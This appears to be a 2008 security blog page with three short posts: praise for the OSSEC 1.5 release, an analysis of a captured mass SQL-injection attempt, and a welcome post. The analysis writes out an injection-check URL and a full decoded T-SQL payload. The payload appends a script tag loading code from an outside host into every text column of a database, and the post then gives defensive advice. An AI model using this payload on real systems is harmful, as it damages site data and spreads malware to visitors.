Friday, May 9, 2008

OSSEC v1.5 Released

Yeah I know this is old news by now but I just wanted to congratulate dcid on the latest OSSEC release!

http://www.ossec.net/main/ossec-v15-released

I'm really excited about the new centralized agent control functionality. With this feature centralized configuration management shouldn't be far off.

If you aren't running OSSEC yet you should definitely check it out!

It's about time . . . mass sql injection variant

It's been around 2 months since the ISC and the Microsoft CSS security team posted articles about a pretty major mass sql injection that affected over 10,000 websites. I was wondering when they'd finally hit some of the domains I monitor. Well today was my lucky day. The attempted injection I captured was almost identical to the ones described in the links above except for a couple small details.

1. First of all there was never an initial attempt to determine if the ASP page was vulnerable. The documented attack contained a simple injection check like this:

www.domain.com/index.asp?var=foo'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''='

So why no injection check? My guess is that someone ripped off the rather slick payload delivery but didn't feel like building in the logic required to perform the initial injection checks. Why do you need to perform any checking? Why not just attempt payload delivery and move on.

2. The only difference in the payload attempt was a new script tag:

Decoded payload delivery:

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set
['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script
src=http://www.ririwow.cn/jp.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor


I tried wgetting the j*p.js to dig a little further but it had already been removed from the site.

Protection and Detection:

With the widespread success these attacks are seeing I'm sure they'll continue for the forseeable future. I highly suggest performing a code review on your web applications to ensure proper data input validation. SQL injection attacks are rather trivial to defend against and yet this attack vector is number 2 on the OWASP top 10.

Since these attacks keep showing up I would highly suggest implementing some form of detection. OSSEC HIDS does a great job alerting on common web application attacks. Some other protection and detection options include web application firewalls, reverse proxies, or NIDS.

Hello World

Welcome to the NSM Junkie blog, network security monitoring and other security topics as seen by cnk.